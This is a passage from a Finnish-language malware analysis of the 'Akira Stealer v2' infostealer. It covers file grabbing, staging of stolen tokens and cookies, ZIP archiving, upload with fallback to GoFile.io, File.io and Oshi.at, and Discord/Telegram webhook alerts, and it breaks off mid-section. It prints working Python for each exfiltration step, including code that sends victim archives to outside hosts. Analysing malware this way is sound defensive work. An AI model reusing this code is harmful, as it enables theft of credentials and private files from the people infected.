Utils.get_temp_folder()\n",[1718,9720,9721],{"class":1720,"line":2432},[1718,9722,3889],{"emptyLinePlaceholder":325},[1718,9724,9725],{"class":1720,"line":2438},[1718,9726,9727],{},"    for folder in searchFolders:\n",[1718,9729,9730],{"class":1720,"line":3096},[1718,9731,9732],{},"        current_path = os.path.join(os.environ['USERPROFILE'], folder)\n",[1718,9734,9735],{"class":1720,"line":3892},[1718,9736,9737],{},"        if os.path.exists(current_path):\n",[1718,9739,9740],{"class":1720,"line":3898},[1718,9741,9742],{},"            for root, _, files in os.walk(current_path):\n",[1718,9744,9745],{"class":1720,"line":4144},[1718,9746,9747],{},"                for file in files:\n",[1718,9749,9750],{"class":1720,"line":5063},[1718,9751,9752],{},"                    lower = file.lower()\n",[1718,9754,9755],{"class":1720,"line":5069},[1718,9756,9757],{},"                    # Keyword check\n",[1718,9759,9760],{"class":1720,"line":5075},[1718,9761,9762],{},"                    if any(keyword in lower for keyword in keywordsFiles):\n",[1718,9764,9765],{"class":1720,"line":5081},[1718,9766,9767],{},"                        ext = os.path.splitext(lower)[1]\n",[1718,9769,9770],{"class":1720,"line":5087},[1718,9771,9772],{},"                        # Extension and size check\n",[1718,9774,9775],{"class":1720,"line":5093},[1718,9776,9777],{},"                        if ext in allowed_extensions and os.path.getsize(os.path.join(root, file)) \u003C= 2 * 1024 * 1024:\n",[1718,9779,9780],{"class":1720,"line":5099},[1718,9781,9782],{},"                            # Prepare destination\n",[1718,9784,9785],{"class":1720,"line":5105},[1718,9786,9787],{},"                            files_dir = os.path.join(temp_folder, \"Files\")\n",[1718,9789,9790],{"class":1720,"line":5111},[1718,9791,9792],{},"                            os.makedirs(files_dir, exist_ok=True)\n",[1718,9794,9795],{"class":1720,"line":5117},[1718,9796,9797],{},"                            shutil.copy(os.path.join(root, file), os.path.join(files_dir, file))\n",[1718,9799,9800],{"class":1720,"line":5123},[1718,9801,9802],{},"                            stolen_files.add(file)\n",[1718,9804,9805],{"class":1720,"line":5129},[1718,9806,9807],{},"    data.stolen_files.extend(stolen_files)\n",[526,9809,9810],{},[568,9811,9812],{},"Keskeiset kohdat:",[738,9814,9815,9823,9832,9841,9847],{},[634,9816,9817,9822],{},[568,9818,9819],{},[579,9820,9821],{},"os.walk",": Laskeutuu rekursiivisesti alihakemistoihin.",[634,9824,9825,9828,9829,726],{},[568,9826,9827],{},"Kirjainkoosta riippumaton osuma",": Tiedostonimet normalisoidaan funktiolla ",[579,9830,9831],{},"lower()",[634,9833,9834,9837,9838,9840],{},[568,9835,9836],{},"Atominen kopiointi",": Käyttää funktiota ",[579,9839,7829],{}," tiedostosisällön säilyttämiseen.",[634,9842,9843,9846],{},[568,9844,9845],{},"Varastettujen tiedostonimien joukko",": Estää kaksoiskappaleet, kun sama tiedosto esiintyy kahdesti.",[634,9848,9849,1008,9855,9858],{},[568,9850,9851,9852,9854],{},"Integraatio ",[579,9853,9109],{},"-luokkaan",[579,9856,9857],{},"data.stolen_files"," kerää varastettujen tiedostojen listan myöhempää raportointia varten.",[897,9860,9862],{"id":9861},"_7115-arkistointi-ja-exfiltraatio","7.11.5 Arkistointi ja exfiltraatio",[526,9864,903],{},[526,9866,9867,9868,9871],{},"Keräämisen jälkeen ",[579,9869,9870],{},"Files","-kansio zipataan ja lähetetään:",[616,9873,9875],{"className":4529,"code":9874,"language":4531,"meta":530,"style":530},"# Archive\nUtils.zip_client_file()  # creates CLIENT.zip from temp_folder\n\n# Upload & Notify\nakira.sendFilesTG(Utils.get_temp_folder(), startup)\nhook.sendFilesTG(Utils.get_temp_folder(), startup)\n",[579,9876,9877,9882,9887,9891,9896,9901],{"__ignoreMap":530},[1718,9878,9879],{"class":1720,"line":1721},[1718,9880,9881],{},"# Archive\n",[1718,9883,9884],{"class":1720,"line":531},[1718,9885,9886],{},"Utils.zip_client_file()  # creates CLIENT.zip from temp_folder\n",[1718,9888,9889],{"class":1720,"line":2102},[1718,9890,3889],{"emptyLinePlaceholder":325},[1718,9892,9893],{"class":1720,"line":2108},[1718,9894,9895],{},"# Upload & Notify\n",[1718,9897,9898],{"class":1720,"line":2432},[1718,9899,9900],{},"akira.sendFilesTG(Utils.get_temp_folder(), startup)\n",[1718,9902,9903],{"class":1720,"line":2438},[1718,9904,9905],{},"hook.sendFilesTG(Utils.get_temp_folder(), startup)\n",[631,9907,9908,9923],{},[634,9909,9910,9915,9916,647,9918,647,9920,3930],{},[568,9911,9912],{},[579,9913,9914],{},"zip_client_file()",": Pakkaa koko väliaikaishakemiston, mukaan lukien ",[579,9917,9870],{},[579,9919,6367],{},[579,9921,9922],{},"Passwords",[634,9924,9925,9929,9930],{},[568,9926,9927],{},[579,9928,9090],{},": Julkaisee latauslinkin Telegramin tai Discord-webhookin kautta ja listaa jokaisen varastetun tiedostonimen:",[616,9931,9933],{"className":4529,"code":9932,"language":4531,"meta":530,"style":530},"fields.append({\n\"name\": \"📂 Files\",\n\"value\": \"`\" + \"\\n\".join(data.stolen_files) + \"`\",\n\"inline\": False\n})\n",[579,9934,9935,9940,9945,9950,9955],{"__ignoreMap":530},[1718,9936,9937],{"class":1720,"line":1721},[1718,9938,9939],{},"fields.append({\n",[1718,9941,9942],{"class":1720,"line":531},[1718,9943,9944],{},"\"name\": \"📂 Files\",\n",[1718,9946,9947],{"class":1720,"line":2102},[1718,9948,9949],{},"\"value\": \"`\" + \"\\n\".join(data.stolen_files) + \"`\",\n",[1718,9951,9952],{"class":1720,"line":2108},[1718,9953,9954],{},"\"inline\": False\n",[1718,9956,9957],{"class":1720,"line":2432},[1718,9958,9959],{},"})\n",[526,9961,9962],{},[568,9963,9964],{},"Johtopäätös:",[526,9966,9967],{},"Akira Stealer v2:n tiedostojen sieppaaja jahtaa järjestelmällisesti arkaluonteisia asiakirjoja avainsana- ja tiedostopäätesuodattimilla, noudattaa 2 MB:n kokokattoa tehokkuuden vuoksi ja kokoaa varastetut kohteet arkistoon. Sen suunnittelu varmistaa sekä laajuuden (useita kansioita) että tarkkuuden (kohdennetut suodattimet), mikä tekee siitä yhden haittaohjelman elinkaaren vaikuttavimmista vaiheista.",[748,9969,9971],{"id":9970},"_712-exfiltraatiostrategia","7.12 Exfiltraatiostrategia",[526,9973,754],{},[526,9975,9976],{},"Exfiltraatiomoduuli käsittelee haravoidut tokenit ja lisäartefaktit (evästeet, automaattiset täytöt, lokit) vaiheistamalla ne jäsenneltyyn hakemistoon, pakkaamalla ne arkistoksi, lataamalla ne useisiin online-tiedostopalveluihin ja lähettämällä yksityiskohtaisia webhook-ilmoituksia. Tässä luvussa puramme jokaisen vaiheen osiin tiedostopolkujen, verkkotunnusten päätepisteiden ja koodiviittausten kera täyttä jäljitettävyyttä varten.",[897,9978,9980],{"id":9979},"_7121-hakemistoasettelu-ja-tiedostonimet","7.12.1 Hakemistoasettelu ja tiedostonimet",[526,9982,903],{},[526,9984,9985],{},"Akira järjestää kaikki kerätyt artefaktit siistiin ja hierarkkiseen väliaikaishakemistorakenteeseen. Tämä suunnittelu mahdollistaa tehokkaan paketoinnin ja helpon exfiltraation jälkeisen tarkastelun hyökkääjälle. Jokainen datakategoria—kuten Tokens, Cookies, Passwords tai Screenshots—tallennetaan omaan alikansioonsa juuripolun alle, joka on nimetty uhrin tietokoneen mukaan (esim. DESKTOP1234). Tämä jäsennelty asettelu varmistaa selkeyden, minimoi kaksoiskappaleet ja virtaviivaistaa arkistointi- ja latausprosessia. Se tekee myös automaattisesta jäsentämisestä tai manuaalisesta tarkastelusta paljon helpompaa hyökkääjän puolella.",[616,9987,9990],{"className":9988,"code":9989,"language":621},[619],"C:\\Users\\User\\AppData\\Local\\Temp\\DESKTOP1234\\\n├─ Tokens\\\n│   ├ token_ab12cd34.txt\n│   └ token_ef56gh78.txt\n├─ Cookies\\\n│   ├ Chrome_Cookies.txt\n│   └ Discord_Cookies.txt\n├─ Autofill\\\n├─ Passwords\\\n├─ Logs\\\n└─ Screenshots\\\n",[579,9991,9989],{"__ignoreMap":530},[897,9993,9995],{"id":9994},"_7122-tokenien-ja-artefaktien-vaiheistus","7.12.2 Tokenien ja artefaktien vaiheistus",[526,9997,903],{},[526,9999,10000],{},"Ennen exfiltraatiota Akira vaiheistaa kaikki olennaiset artefaktit vastaaviin alikansioihin. Esimerkiksi token-arvot kirjoitetaan yksittäisiin .txt-tiedostoihin nopean skannauksen ja validoinnin helpottamiseksi. Evästeet, automaattisen täytön merkinnät ja salasanat kirjoitetaan vastaavasti selaimen mukaan nimettyihin jäsenneltyihin tekstitiedostoihin. Tämä vaihe standardoi datan asettelun ja mahdollistaa automaattisten työkalujen seurata, mitä haravoitiin. Se varmistaa myös, että myöhempi zip-arkisto heijastaa ennustettavaa ja hyökkääjäystävällistä muotoa riippumatta siitä, mitkä moduulit laukaistiin.",[616,10002,10004],{"className":4529,"code":10003,"language":4531,"meta":530,"style":530},"import os, shutil\n# Constants\nTMP = os.getenv('TEMP')\nROOT = os.path.join(TMP, os.getenv('COMPUTERNAME'))\n# Prepare structure\nfor sub in ['Tokens','Cookies','Autofill','Passwords','Logs','Screenshots']:\n    os.makedirs(os.path.join(ROOT, sub), exist_ok=True)\n# Save token\nwith open(os.path.join(ROOT, 'Tokens', f'token_{token[:8]}.txt'), 'w') as f:\n    f.write(token)\n",[579,10005,10006,10011,10016,10021,10026,10031,10036,10041,10046,10051],{"__ignoreMap":530},[1718,10007,10008],{"class":1720,"line":1721},[1718,10009,10010],{},"import os, shutil\n",[1718,10012,10013],{"class":1720,"line":531},[1718,10014,10015],{},"# Constants\n",[1718,10017,10018],{"class":1720,"line":2102},[1718,10019,10020],{},"TMP = os.getenv('TEMP')\n",[1718,10022,10023],{"class":1720,"line":2108},[1718,10024,10025],{},"ROOT = os.path.join(TMP, os.getenv('COMPUTERNAME'))\n",[1718,10027,10028],{"class":1720,"line":2432},[1718,10029,10030],{},"# Prepare structure\n",[1718,10032,10033],{"class":1720,"line":2438},[1718,10034,10035],{},"for sub in ['Tokens','Cookies','Autofill','Passwords','Logs','Screenshots']:\n",[1718,10037,10038],{"class":1720,"line":3096},[1718,10039,10040],{},"    os.makedirs(os.path.join(ROOT, sub), exist_ok=True)\n",[1718,10042,10043],{"class":1720,"line":3892},[1718,10044,10045],{},"# Save token\n",[1718,10047,10048],{"class":1720,"line":3898},[1718,10049,10050],{},"with open(os.path.join(ROOT, 'Tokens', f'token_{token[:8]}.txt'), 'w') as f:\n",[1718,10052,10053],{"class":1720,"line":4144},[1718,10054,10055],{},"    f.write(token)\n",[631,10057,10058,10061],{},[634,10059,10060],{},"Tokenit tallennetaan erillisiin pieniin tekstitiedostoihin nopeaa tarkastelua varten.",[634,10062,10063,10064,10067,10068,726],{},"Evästedumpit funktiosta ",[579,10065,10066],{},"Chromium.GetCookies()"," kirjoitetaan tiedostoon ",[579,10069,10070],{},"{Browser}_Cookies.txt",[897,10072,10074],{"id":10073},"_7133-zip-arkiston-luonti","7.13.3 ZIP-arkiston luonti",[526,10076,903],{},[526,10078,10079,10080],{},"Kun vaiheistus on valmis, Akira pakkaa koko hakemiston yhdeksi ZIP-arkistoksi. Arkiston tiedostonimi noudattaa yhdenmukaista nimeämiskäytäntöä: ",[10081,10082,10083,10084],"computer-name",{},"_",[10085,10086,10087],"timestamp",{},".zip, käyttäen isäntäkoneen koneen nimeä ja UTC-aikaleimaa ISO 8601 -muodossa. Tämä varmistaa sekä yksilöllisyyden että kronologisen jäljitettävyyden. Käymällä läpi koko vaiheistushakemiston rekursiivisesti jokainen tiedosto säilyy suhteellisessa rakenteessaan ZIP:in sisällä. Tämä muoto yksinkertaistaa massahakua ja tarkastelua hyökkääjille, erityisesti jos satoja uhreja vaarannetaan rinnakkain.",[616,10089,10091],{"className":4529,"code":10090,"language":4531,"meta":530,"style":530},"import zipfile, datetime\n\ndef create_archive(root_dir: str) -> str:\n    ts = datetime.datetime.utcnow().strftime('%Y%m%dT%H%M%SZ')\n    zip_name = os.path.basename(root_dir) + f'_{ts}.zip'\n    zip_path = os.path.join(os.path.dirname(root_dir), zip_name)\n    with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zf:\n        for dirpath, _, files in os.walk(root_dir):\n            for fname in files:\n                full = os.path.join(dirpath, fname)\n                rel = os.path.relpath(full, root_dir)\n                zf.write(full, rel)\n    return zip_path\n",[579,10092,10093,10098,10102,10107,10112,10117,10122,10127,10132,10137,10142,10147,10152],{"__ignoreMap":530},[1718,10094,10095],{"class":1720,"line":1721},[1718,10096,10097],{},"import zipfile, datetime\n",[1718,10099,10100],{"class":1720,"line":531},[1718,10101,3889],{"emptyLinePlaceholder":325},[1718,10103,10104],{"class":1720,"line":2102},[1718,10105,10106],{},"def create_archive(root_dir: str) -> str:\n",[1718,10108,10109],{"class":1720,"line":2108},[1718,10110,10111],{},"    ts = datetime.datetime.utcnow().strftime('%Y%m%dT%H%M%SZ')\n",[1718,10113,10114],{"class":1720,"line":2432},[1718,10115,10116],{},"    zip_name = os.path.basename(root_dir) + f'_{ts}.zip'\n",[1718,10118,10119],{"class":1720,"line":2438},[1718,10120,10121],{},"    zip_path = os.path.join(os.path.dirname(root_dir), zip_name)\n",[1718,10123,10124],{"class":1720,"line":3096},[1718,10125,10126],{},"    with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zf:\n",[1718,10128,10129],{"class":1720,"line":3892},[1718,10130,10131],{},"        for dirpath, _, files in os.walk(root_dir):\n",[1718,10133,10134],{"class":1720,"line":3898},[1718,10135,10136],{},"            for fname in files:\n",[1718,10138,10139],{"class":1720,"line":4144},[1718,10140,10141],{},"                full = os.path.join(dirpath, fname)\n",[1718,10143,10144],{"class":1720,"line":5063},[1718,10145,10146],{},"                rel = os.path.relpath(full, root_dir)\n",[1718,10148,10149],{"class":1720,"line":5069},[1718,10150,10151],{},"                zf.write(full, rel)\n",[1718,10153,10154],{"class":1720,"line":5075},[1718,10155,10156],{},"    return zip_path\n",[631,10158,10159],{},[634,10160,10161,10162,10165],{},"Arkisto nimetty ",[579,10163,10164],{},"DESKTOP1234_20250505T123456Z.zip"," isäntäkoneen johdonmukaisuuden vuoksi.",[526,10167,10168],{},[568,10169,10170],{},"ZIP-tiedostonimen käytäntö",[526,10172,10173],{},"Arkisto nimetään käyttäen vaarannetun isäntäkoneen tietokoneen nimeä, jota seuraa UTC-aikaleima ISO-muodossa, mikä varmistaa yksilöllisyyden ja kronologisen järjestyksen.",[616,10175,10177],{"className":4529,"code":10176,"language":4531,"meta":530,"style":530},"import datetime, os\n\ndef create_archive(root_dir: str) -> str:\n    # Generate UTC timestamp in YYYYMMDDThhmmssZ format\n    ts = datetime.datetime.utcnow().strftime('%Y%m%dT%H%M%SZ')\n    # Construct ZIP filename: \u003CComputerName>_\u003CTimestamp>.zip\n    zip_name = os.path.basename(root_dir) + f'_{ts}.zip'\n    zip_path = os.path.join(os.path.dirname(root_dir), zip_name)\n    return zip_path\n",[579,10178,10179,10184,10188,10192,10197,10201,10206,10210,10214],{"__ignoreMap":530},[1718,10180,10181],{"class":1720,"line":1721},[1718,10182,10183],{},"import datetime, os\n",[1718,10185,10186],{"class":1720,"line":531},[1718,10187,3889],{"emptyLinePlaceholder":325},[1718,10189,10190],{"class":1720,"line":2102},[1718,10191,10106],{},[1718,10193,10194],{"class":1720,"line":2108},[1718,10195,10196],{},"    # Generate UTC timestamp in YYYYMMDDThhmmssZ format\n",[1718,10198,10199],{"class":1720,"line":2432},[1718,10200,10111],{},[1718,10202,10203],{"class":1720,"line":2438},[1718,10204,10205],{},"    # Construct ZIP filename: \u003CComputerName>_\u003CTimestamp>.zip\n",[1718,10207,10208],{"class":1720,"line":3096},[1718,10209,10116],{},[1718,10211,10212],{"class":1720,"line":3892},[1718,10213,10121],{},[1718,10215,10216],{"class":1720,"line":3898},[1718,10217,10156],{},[526,10219,10173],{},[897,10221,10223],{"id":10222},"_7144-latauksen-työnkulku","7.14.4 Latauksen työnkulku",[526,10225,903],{},[526,10227,10228],{},"Akira käyttää kolmiportaista latausstrategiaa maksimoidakseen onnistuneen datan exfiltraation mahdollisuuden. Se yrittää ensin ladata arkiston GoFile.io-palveluun heidän julkisen API:nsa kautta, joka palauttaa latauslinkin. Jos GoFile ei ole saatavilla tai on estetty, se palautuu File.io:hon ja sitten Oshi.at:hen, mikä varmistaa, että data siirretään aina. Nämä palvelut tarjoavat anonyymiä, lyhytikäistä hostingia, mikä tekee alasajosta ja jäljitettävyydestä vaikeaa. Skripti kaappaa lopullisen lataus-URL:n ja valmistelee sen webhook-toimitusta varten.",[738,10230,10231,10263,10290],{},[634,10232,10233,10236],{},[568,10234,10235],{},"Ensisijainen: GoFile.io",[631,10237,10238,10246,10254],{},[634,10239,10240,1008,10243],{},[568,10241,10242],{},"API palvelinten hakemiseen",[579,10244,10245],{},"GET https://api.gofile.io/servers",[634,10247,10248,1008,10251],{},[568,10249,10250],{},"Latauspäätepiste",[579,10252,10253],{},"POST https://\u003Cserver>.gofile.io/contents/uploadfile",[634,10255,10256,1008,10259,10262],{},[568,10257,10258],{},"Vastauskenttä",[579,10260,10261],{},"data.downloadPage"," sisältää lopullisen URL:n.",[634,10264,10265,10268],{},[568,10266,10267],{},"Varajärjestely #1: File.io",[631,10269,10270,10281],{},[634,10271,10272,1008,10274,10277,10278],{},[568,10273,10250],{},[579,10275,10276],{},"POST https://file.io/"," parametrilla ",[579,10279,10280],{},"files={'file': open(...)}",[634,10282,10283,10286,10287,726],{},[568,10284,10285],{},"Vastaus",": JSON-kenttä ",[579,10288,10289],{},"link",[634,10291,10292,10295],{},[568,10293,10294],{},"Varajärjestely #2: Oshi.at",[631,10296,10297,10311],{},[634,10298,10299,1008,10301,10277,10304,10307,10308,726],{},[568,10300,10250],{},[579,10302,10303],{},"POST http://oshi.at/",[579,10305,10306],{},"files[]"," ja parametreilla ",[579,10309,10310],{},"expire=43200, autodestroy=0",[634,10312,10313,10315,10316,726],{},[568,10314,10285],{},": Selkoteksti, joka sisältää ",[579,10317,10318],{},"DL: \u003Curl>",[526,10320,10321],{},[568,10322,10323],{},"Toteutuskatkelma:",[616,10325,10327],{"className":4529,"code":10326,"language":4531,"meta":530,"style":530},"import requests\n\ndef upload_with_fallback(zip_path):\n    # GoFile\n    try:\n        servers = requests.get('https://api.gofile.io/servers', timeout=10).json()['data']['servers']\n        for srv in servers:\n            try:\n                r = requests.post(\n                    f'https://{srv}.gofile.io/contents/uploadfile',\n                    files={'file': open(zip_path,'rb')}, timeout=20)\n                url = r.json()['data']['downloadPage']\n                if url: return url\n            except: continue\n    except: pass\n    # File.io\n    try:\n        r = requests.post('https://file.io/', files={'file': open(zip_path,'rb')}, timeout=20)\n        return r.json().get('link','')\n    except: pass\n    # Oshi.at\n    try:\n        text = requests.post('http://oshi.at/', files={'files[]': open(zip_path,'rb')}, data={'expire':'43200'}).text\n        return text.split('DL: ')[1].strip()\n    except: pass\n    return ''\n",[579,10328,10329,10334,10338,10343,10348,10352,10357,10362,10367,10372,10377,10382,10387,10392,10397,10402,10407,10411,10416,10421,10425,10430,10434,10439,10444,10448],{"__ignoreMap":530},[1718,10330,10331],{"class":1720,"line":1721},[1718,10332,10333],{},"import requests\n",[1718,10335,10336],{"class":1720,"line":531},[1718,10337,3889],{"emptyLinePlaceholder":325},[1718,10339,10340],{"class":1720,"line":2102},[1718,10341,10342],{},"def upload_with_fallback(zip_path):\n",[1718,10344,10345],{"class":1720,"line":2108},[1718,10346,10347],{},"    # GoFile\n",[1718,10349,10350],{"class":1720,"line":2432},[1718,10351,5178],{},[1718,10353,10354],{"class":1720,"line":2438},[1718,10355,10356],{},"        servers = requests.get('https://api.gofile.io/servers', timeout=10).json()['data']['servers']\n",[1718,10358,10359],{"class":1720,"line":3096},[1718,10360,10361],{},"        for srv in servers:\n",[1718,10363,10364],{"class":1720,"line":3892},[1718,10365,10366],{},"            try:\n",[1718,10368,10369],{"class":1720,"line":3898},[1718,10370,10371],{},"                r = requests.post(\n",[1718,10373,10374],{"class":1720,"line":4144},[1718,10375,10376],{},"                    f'https://{srv}.gofile.io/contents/uploadfile',\n",[1718,10378,10379],{"class":1720,"line":5063},[1718,10380,10381],{},"                    files={'file': open(zip_path,'rb')}, timeout=20)\n",[1718,10383,10384],{"class":1720,"line":5069},[1718,10385,10386],{},"                url = r.json()['data']['downloadPage']\n",[1718,10388,10389],{"class":1720,"line":5075},[1718,10390,10391],{},"                if url: return url\n",[1718,10393,10394],{"class":1720,"line":5081},[1718,10395,10396],{},"            except: continue\n",[1718,10398,10399],{"class":1720,"line":5087},[1718,10400,10401],{},"    except: pass\n",[1718,10403,10404],{"class":1720,"line":5093},[1718,10405,10406],{},"    # File.io\n",[1718,10408,10409],{"class":1720,"line":5099},[1718,10410,5178],{},[1718,10412,10413],{"class":1720,"line":5105},[1718,10414,10415],{},"        r = requests.post('https://file.io/', files={'file': open(zip_path,'rb')}, timeout=20)\n",[1718,10417,10418],{"class":1720,"line":5111},[1718,10419,10420],{},"        return r.json().get('link','')\n",[1718,10422,10423],{"class":1720,"line":5117},[1718,10424,10401],{},[1718,10426,10427],{"class":1720,"line":5123},[1718,10428,10429],{},"    # Oshi.at\n",[1718,10431,10432],{"class":1720,"line":5129},[1718,10433,5178],{},[1718,10435,10436],{"class":1720,"line":5135},[1718,10437,10438],{},"        text = requests.post('http://oshi.at/', files={'files[]': open(zip_path,'rb')}, data={'expire':'43200'}).text\n",[1718,10440,10441],{"class":1720,"line":5141},[1718,10442,10443],{},"        return text.split('DL: ')[1].strip()\n",[1718,10445,10446],{"class":1720,"line":5147},[1718,10447,10401],{},[1718,10449,10450],{"class":1720,"line":5814},[1718,10451,10452],{},"    return ''\n",[897,10454,10456],{"id":10455},"_7155-webhook-hälytykset-hyökkääjän-haku-ja-analyytikon-näkyvyyden-rajat","7.15.5 Webhook-hälytykset, hyökkääjän haku ja analyytikon näkyvyyden rajat",[526,10458,903],{},[526,10460,10461],{},"Ladattuaan ZIP-arkiston Akira lähettää webhook-ilmoituksen—tyypillisesti Discordiin tai Telegramiin—jäsennellyllä embedillä, joka sisältää yksityiskohtaista tietoa: varastettujen tokenien määrän, evästeiden määrän, tiedoston koon ja klikattavan latauslinkin. Tämä antaa hyökkääjille välitöntä palautetta ja hakuoikeuden. Luotettavuuden varmistamiseksi lähetetään myös selkokielinen varaviesti, joka sisältää pelkän arkistolinkin. Tämä redundanssi takaa toimituksen, vaikka alusta estäisi tai suodattaisi embedin. Puolustajan näkökulmasta nämä viestit ovat usein näkymättömiä, ellei ulospäin suuntautuvaa verkkovalvontaa ole käytössä.",[526,10463,10464],{},[568,10465,10466],{},"Embed-ilmoitus",[616,10468,10470],{"className":4529,"code":10469,"language":4531,"meta":530,"style":530},"# Build embed with key metadata\ntoken_count = len(os.listdir(os.path.join(ROOT, 'Tokens')))\nfields = [\n    {'name':'🗂️ Archive','value':f'[Download Archive]({download_url})','inline':False},\n    {'name':'📐 Size','value':f'{os.path.getsize(zip_path)//1024} KB','inline':True},\n    {'name':'🔑 Tokens','value':str(token_count),'inline':True},\n    {'name':'🍪 Cookies','value':str(data.cookie_count),'inline':True},\n    {'name':'🔐 Passwords','value':str(data.password_count),'inline':True},\n]\npayload = {\n    'username':'Akira 💊',\n    'embeds':[{'title':'🗄️ Exfiltration Complete','fields':fields}]\n}\nrequests.post(webhook_url, json=payload, timeout=8)\n",[579,10471,10472,10477,10482,10487,10492,10497,10502,10507,10512,10516,10521,10526,10531,10535],{"__ignoreMap":530},[1718,10473,10474],{"class":1720,"line":1721},[1718,10475,10476],{},"# Build embed with key metadata\n",[1718,10478,10479],{"class":1720,"line":531},[1718,10480,10481],{},"token_count = len(os.listdir(os.path.join(ROOT, 'Tokens')))\n",[1718,10483,10484],{"class":1720,"line":2102},[1718,10485,10486],{},"fields = [\n",[1718,10488,10489],{"class":1720,"line":2108},[1718,10490,10491],{},"    {'name':'🗂️ Archive','value':f'[Download Archive]({download_url})','inline':False},\n",[1718,10493,10494],{"class":1720,"line":2432},[1718,10495,10496],{},"    {'name':'📐 Size','value':f'{os.path.getsize(zip_path)//1024} KB','inline':True},\n",[1718,10498,10499],{"class":1720,"line":2438},[1718,10500,10501],{},"    {'name':'🔑 Tokens','value':str(token_count),'inline':True},\n",[1718,10503,10504],{"class":1720,"line":3096},[1718,10505,10506],{},"    {'name':'🍪 Cookies','value':str(data.cookie_count),'inline':True},\n",[1718,10508,10509],{"class":1720,"line":3892},[1718,10510,10511],{},"    {'name':'🔐 Passwords','value':str(data.password_count),'inline':True},\n",[1718,10513,10514],{"class":1720,"line":3898},[1718,10515,7963],{},[1718,10517,10518],{"class":1720,"line":4144},[1718,10519,10520],{},"payload = {\n",[1718,10522,10523],{"class":1720,"line":5063},[1718,10524,10525],{},"    'username':'Akira 💊',\n",[1718,10527,10528],{"class":1720,"line":5069},[1718,10529,10530],{},"    'embeds':[{'title':'🗄️ Exfiltration Complete','fields':fields}]\n",[1718,10532,10533],{"class":1720,"line":5075},[1718,10534,2441],{},[1718,10536,10537],{"class":1720,"line":5081},[1718,10538,10539],{},"requests.post(webhook_url, json=payload, timeout=8)\n",[631,10541,10542,10548],{},[634,10543,10544,10547],{},[568,10545,10546],{},"Toimitus",": Lähetetään hyökkääjän Discord-/Telegram-kanavaan.",[634,10549,10550,10553,10554,10557],{},[568,10551,10552],{},"Embed-linkki",": Sisältää klikattavan ",[579,10555,10556],{},"download_url","-osoitteen, joka osoittaa ZIP-tiedostoon GoFilessa (tai vara-isännässä).",[526,10559,10560],{},[568,10561,10562],{},"Raakalinkin varajärjestely",[616,10564,10566],{"className":4529,"code":10565,"language":4531,"meta":530,"style":530},"# Ensure attacker always has direct URL, even if embeds fail\nmessage = f\"📥 Archive available at: {download_url}\"\nrequests.post(webhook_url, data={'message': message}, timeout=8)\n",[579,10567,10568,10573,10578],{"__ignoreMap":530},[1718,10569,10570],{"class":1720,"line":1721},[1718,10571,10572],{},"# Ensure attacker always has direct URL, even if embeds fail\n",[1718,10574,10575],{"class":1720,"line":531},[1718,10576,10577],{},"message = f\"📥 Archive available at: {download_url}\"\n",[1718,10579,10580],{"class":1720,"line":2102},[1718,10581,10582],{},"requests.post(webhook_url, data={'message': message}, timeout=8)\n",[631,10584,10585],{},[634,10586,10587,10590],{},[568,10588,10589],{},"Selkoteksti",": Takaa linkin toimituksen siltä varalta, että embedit estetään tai pudotetaan hiljaa.",[526,10592,10593],{},[568,10594,10595],{},"Miten hyökkääjä hakee linkin",[526,10597,10598,10601],{},[568,10599,10600],{},"1. Webhook-infrastruktuuri","\nHyökkääjä upottaa webhook-päätepisteen haittaohjelman konfiguraatioon:",[616,10603,10605],{"className":4529,"code":10604,"language":4531,"meta":530,"style":530},"# at class initialization\nself.default_webhook = \"%DISCORD_OR_TG_WEBHOOK_URL%\"\n",[579,10606,10607,10612],{"__ignoreMap":530},[1718,10608,10609],{"class":1720,"line":1721},[1718,10610,10611],{},"# at class initialization\n",[1718,10613,10614],{"class":1720,"line":531},[1718,10615,10616],{},"self.default_webhook = \"%DISCORD_OR_TG_WEBHOOK_URL%\"\n",[631,10618,10619,10626],{},[634,10620,10621,1008,10623],{},[568,10622,8562],{},[579,10624,10625],{},"https://discord.com/api/webhooks/\u003CWEBHOOK_ID>/\u003CWEBHOOK_TOKEN>",[634,10627,10628,1008,10631],{},[568,10629,10630],{},"Telegram",[579,10632,10633],{},"https://api.telegram.org/bot\u003CTELEGRAM_TOKEN>/sendMessage",[526,10635,10636,10639],{},[568,10637,10638],{},"2. Reaaliaikainen toimitus","\nVälittömästi onnistuneen tiedoston latauksen jälkeen haittaohjelma suorittaa:",[616,10641,10643],{"className":4529,"code":10642,"language":4531,"meta":530,"style":530},"payload = {\n  'username': 'Akira 💊',\n  'embeds': [{\n      'title': '🗄️ Exfiltration Complete',\n      'fields': [\n          {'name': '🗂️ Archive', 'value': f'[Download ZIP]({download_url})'}\n      ]\n  }]\n}\n# Transmit the archive URL entirely in the JSON body\nrequests.post(self.default_webhook, json=payload, timeout=8)\n",[579,10644,10645,10649,10654,10659,10664,10669,10674,10679,10684,10688,10693],{"__ignoreMap":530},[1718,10646,10647],{"class":1720,"line":1721},[1718,10648,10520],{},[1718,10650,10651],{"class":1720,"line":531},[1718,10652,10653],{},"  'username': 'Akira 💊',\n",[1718,10655,10656],{"class":1720,"line":2102},[1718,10657,10658],{},"  'embeds': [{\n",[1718,10660,10661],{"class":1720,"line":2108},[1718,10662,10663],{},"      'title': '🗄️ Exfiltration Complete',\n",[1718,10665,10666],{"class":1720,"line":2432},[1718,10667,10668],{},"      'fields': [\n",[1718,10670,10671],{"class":1720,"line":2438},[1718,10672,10673],{},"          {'name': '🗂️ Archive', 'value': f'[Download ZIP]({download_url})'}\n",[1718,10675,10676],{"class":1720,"line":3096},[1718,10677,10678],{},"      ]\n",[1718,10680,10681],{"class":1720,"line":3892},[1718,10682,10683],{},"  }]\n",[1718,10685,10686],{"class":1720,"line":3898},[1718,10687,2441],{},[1718,10689,10690],{"class":1720,"line":4144},[1718,10691,10692],{},"# Transmit the archive URL entirely in the JSON body\n",[1718,10694,10695],{"class":1720,"line":5063},[1718,10696,10697],{},"requests.post(self.default_webhook, json=payload, timeout=8)\n",[631,10699,10700,10709],{},[634,10701,10702,10704,10705,10708],{},[579,10703,10556],{},"-muuttuja interpoloidaan embedin ",[579,10706,10707],{},"fields.value","-kenttään.",[634,10710,10711,10712,10714,10715,10718],{},"Telegram-varajärjestelyssä ",[579,10713,10556],{}," esiintyy selkokielisessä ",[579,10716,10717],{},"message","-parametrissa.",[526,10720,10721],{},[568,10722,10723],{},"3. EDR:n ja forensiikan näkyvyyden 